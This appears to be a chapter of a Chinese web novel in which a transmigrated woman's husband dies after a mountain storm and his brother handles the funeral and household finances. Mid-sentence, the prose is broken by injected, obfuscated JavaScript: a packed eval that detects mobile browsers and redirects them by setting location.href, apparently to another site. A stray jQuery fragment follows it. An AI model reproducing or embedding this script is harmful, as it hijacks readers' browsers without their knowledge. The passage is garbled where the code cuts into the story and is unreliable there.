晚饭过后,天色沉得极快,浓重的乌云低低压着远山的轮廓,仿佛要将最后一点天光吞噬。湿冷的雾气从地面和竹林间无声弥漫,竹叶在渐起的风中簌簌摇晃。
袁理解下围裙,随手折了几折放在灶台边缘。
他转过身,徐存真正站在门边望着外面发呆。她的侧脸被灶火映得微微发亮,眼神却飘得很远。
“晚上有暴雨。”袁理的声音让她回过神来,“你早点回房休息,待会儿我烧壶热水放你门口。”
徐存真轻轻点头,视线仍不由自主飘向窗外。
远山已经隐没在浓重的夜色中,只有近处的竹影在风中摇曳。
“夜里尽量不要起夜。实在有事,就叫醒我。”
后山每逢大雨,虽不至于引发山洪,但滚落的碎石和断枝也足够危险,更会弄得满身泥泞,那绝不是她这个现代灵魂能轻松应对的。
“谢谢。”徐存真低声道,声音轻得几乎被竹叶的沙沙声掩盖。
这是她来到这个世界后,不知第多少次向袁理道谢。
每一句感谢都像一块石头,垒成一道无形的高墙,横亘在两人之间。
她转身回了房,关上门,忍不住把脸埋进被子里叹了口气。
窗外骤然一亮,惨白的光瞬间映亮窗棂,将房间照得如同白昼。
她下意识捂住耳朵。
“轰隆隆!”
雷声震耳欲聋,仿佛就在屋顶炸开。
山谷将巨响成倍放大,回声层层叠叠,犹如置身一个巨大的、封闭的雷笼。而她无处可逃。
就在这时,轻轻的敲门声响起,清脆地打断了她逐渐攀升的恐慌。
“嫂子,”门外是袁理刻板持平的声音,“热水放门口了。我和大哥歇下了。”
他这故作疏离的演技实在有些生硬,甚至能听出几分不情愿和勉强,反而莫名地将徐存真从无尽的恐惧边缘拉了回来。
她努力压平想要上扬的嘴角,提高声音应了一句:“好的,小叔。谢谢你了。”
经他这一打岔,外界的风雨似乎不再那么慑人。她迅速钻回被窝,揪了点棉花塞住耳朵。
让老天爷见识一下什么叫真正的睡眠!
她死死闭上眼睛,把记忆里收藏过的助眠技巧全用了一遍:数水饺、调整呼吸、甚至尝试翻白眼……意识终于渐渐模糊,沉入了并不安稳的梦乡。
窗外,树枝摇晃的影子投在窗纸上,如同扭曲的人影。被风卷起的树叶和豆大的雨点猛烈拍打着窗户,发出砰砰的声响。
但徐存真睡熟了,什么也没听清。
鸟叫声异常聒噪,顽强地穿透她耳中的棉絮。
徐存真醒来时天已蒙蒙亮。雨势渐小,但淅淅沥沥的声音仍在继续。
她走到堂屋,端起桌上的凉水喝了一口,才发现早餐早已备好。
而她的碗底压着一张字条。
字迹张扬,带着一股熟悉的傲气:
“我去山里采松茸了。午饭前回来。”
虽然听说过雨后是采菌的最佳时机,但袁理这行动力未免太惊人。此刻不过清晨五点多,窗外细雨未停,山道必然泥泞难行。
一股莫名的担忧悄然滋生,缠绕在心头,让她坐立难安。
她环顾四周,想找点事做分散注意力。
灶房收拾得干干净净,桌案擦拭得一尘不染,连廊下的雨具都摆放得整齐利落。
袁理……竟然还挺宜室宜家的?大少爷平时难道也需要做这些吗?
她最终放弃了无事忙的念头。与其去擦那尊本就不需要擦拭的观音像,不如去看看袁道。
等袁理中午回来,好歹能让他喘口气。
想到这儿,她已经站在东厢房门口。
她叩了叩木门,轻声问:“袁道,你醒了吗?”
里面没有回应。
或许还在睡?他伤痛缠身,睡眠总是断断续续,浅眠易醒。
她又等了一会儿,提高声音:“袁道?需要帮忙吗?”
依旧一片死寂。
心开始慌起来,手指无意识地收紧。
她却始终没有勇气推开那扇门。
袁理到家时,已是晌午时分。
雨已经完全停了,阳光勉强穿透云层,在泥泞的地面上投下斑驳的光影。
他看见徐存真在堂屋中央来回踱步,不住地咬着指甲,脸色苍白如纸。
“怎么了?”他连背篓都来不及放下就快步上前。
徐存真听到动静,猛地抬头,几乎是冲过来一把抓住他的右臂。她的手指冰凉而用力,语无伦次地描述着早上的情况。
袁理仔细分辨着她混乱的语句,胳膊被捏得生疼。她潮热的手心紧贴着他被雨打湿的袖管,那触感让他心惊。
“一直没回应?”声音比平时更加低沉。
她重重点头,牙齿紧紧咬着下唇,几乎要咬出血来。
“进去看看。”他轻轻放下背篓,拉着她的手腕将她护在身后,推开了东厢房的门。
地上留下一串湿漉漉的脚印,在寂静的房间里显得格外清晰。
袁理很快就出来了,只是对着她,很轻地摇了摇头。
“死了。”
徐存真猛地一颤,瞳孔急剧收缩:“怎么会……?”
是,剧情差不多是走到这里。
可当一个昨天还同她说话、对她微笑的人真的无声无息地躺在那里,冰冷的恐惧依旧瞬间攫住了她。
她控制不住地发抖,仿佛被门外渗入的阴冷水汽穿透了脏腑。
“确定吗?我……我去看看……”她声音发颤,牙齿磕碰在一起。
袁理再次摇头:“别去了。不好看。”
徐存真睁大了眼睛,一些影视剧中可怖的死亡画面不受控制地闪过脑海。
“没事,这都是剧情。是假的。你去请花嫂过来。丧事必须赶紧办。”
她无意识地胡乱点头。此刻的袁理就是她唯一的救命稻草。
她害怕得几乎要呕吐出来,这种恐惧并非源于任何具体经验,只是一种对死亡最本能的、原始的恐慌。
花嫂和花大爷很快赶来,查看了情况,得出了同样的结论。
袁道,确实死了。
花嫂握着徐存真的肩膀,沉痛地安抚:“节哀。我们得商量一下后事怎么安排……”
后面的话,徐存真一个字都没听进去。
她脑海里反复闪现着袁道青紫僵硬的脸色。方才人多起来,灯点起来后,她壮着胆子、也为了避免行为异常,跟着进去看了一眼。
那景象并非多么狰狞可怖,却足以带来巨大的冲击。袁道安静地躺在那里,仿佛只是睡着了,但灰白的脸色和僵硬的姿势却昭示着一个残酷的事实:生命已经离开了这具躯体。
在极度原始的自然环境中,人,是脆弱的。
她可能也会因为一个小小的感冒就丢掉性命。
生存,是这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329651|178947||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个任务世界最重要的主题。她不过是幸运地在现代社会暂住了那么些年,竟不知天高地厚地轻视种田文的天然背景。
嫌弃这个不便,那个短缺。却始终没有自己真正站立起来。
她忽然生出一股挫败,袁理,比她做得好的多了。
或许,袁理有些时候没看错。
她是十足的胆小的懦弱的人。
葬礼前后的一切忙碌,几乎都由袁理一手主持。他联系村民,准备丧葬用品,安排仪式流程,一切都处理得井井有条。
徐存真始终呆呆愣愣,别人对她说什么都如同隔着一层雾,唯有袁理清晰交代的事情,她才能听进去只字片语。
她跟着人群,机械地完成着仪式,耳边充斥着村民们的窃窃私语和议论。
“这么年轻就去了,真是可惜……”
“听说是在后山受的伤,能撑到现在已经不容易了。”
“留下这么个如花似玉的媳妇,可怎么是好……”
这些话语像针一样刺进她的心里,却又只听得见却感受不到痛楚。
直到跟着袁理在坟前烧纸时,飞扬的纸灰被热风卷起,扑在她的脸上,她才仿佛有点回过神来。
一个活生生的人,最终就化作了眼前这一抔黄土和冰冷的石碑。灼热的火盆吞噬着纸钱,仿佛也烧尽了过往的一切。
她望着跳动的火焰,终于无声地落下两滴眼泪。
袁理站在她身旁,目光始终落在跳动的火焰上。
“他会安息的。”袁理突然开口。
徐存真抬起头,对上他的目光。
“你会好好的。”他又补充道。
这一刻,徐存真突然意识到,是真的要和眼前这个人共患难,同生死。
这个认知让她感到既安心又恐慌。
夜幕低垂,最后几个村民也提着灯笼走远了。新垒的坟茔前只剩下他们二人。风掠过林梢,带着雨后的湿凉。
袁理望着墓碑,片刻后才低声说:“回去吧。”
徐存真默默跟上。山路被雨水泡得泥泞,她一脚没踩稳,身子晃了晃。
“小心。”袁理伸手扶住她的胳膊。他的手很稳,温度透过布料传来。
徐存真站稳后却没有立即往前走。
她转过身面对着他:“袁理,今天我把你采的松茸托花嫂卖了,一共十两。”
她顿了顿,“袁道的事,我没能帮上什么。松茸卖得有些晚了,但还值点钱。”
她从袖中取出钱袋,递向他。
袁理看着钱袋,没有立刻接。
“你拿着……”
“也行。我们回去算算葬礼的花销,一起商量后续的安排。”
快到屋前时,袁理忽然开口:“葬礼总共花了三十两。”
徐存真猛地停住脚步:“多少?”她的声音在寂静中格外沙哑。
袁理没有回避她的目光:“三十两。包括棺木、法事和村民的酬劳。”
徐存真深吸一口气,天杀的封建社会,迂腐的丧葬制度!
半晌,她抬起头,眼神已经变得清明:“从明天开始,这个家要记账。每一笔进出都要记清楚。”
袁理看着她,眼中闪过一丝不易察觉的讶异。他注意到她说的是“这个家”。
“好。”他应道,声音里多了一丝什么。
徐存真已经转身推开院门,月光洒在她的背影上。
也许,真正的剧情现在才开始……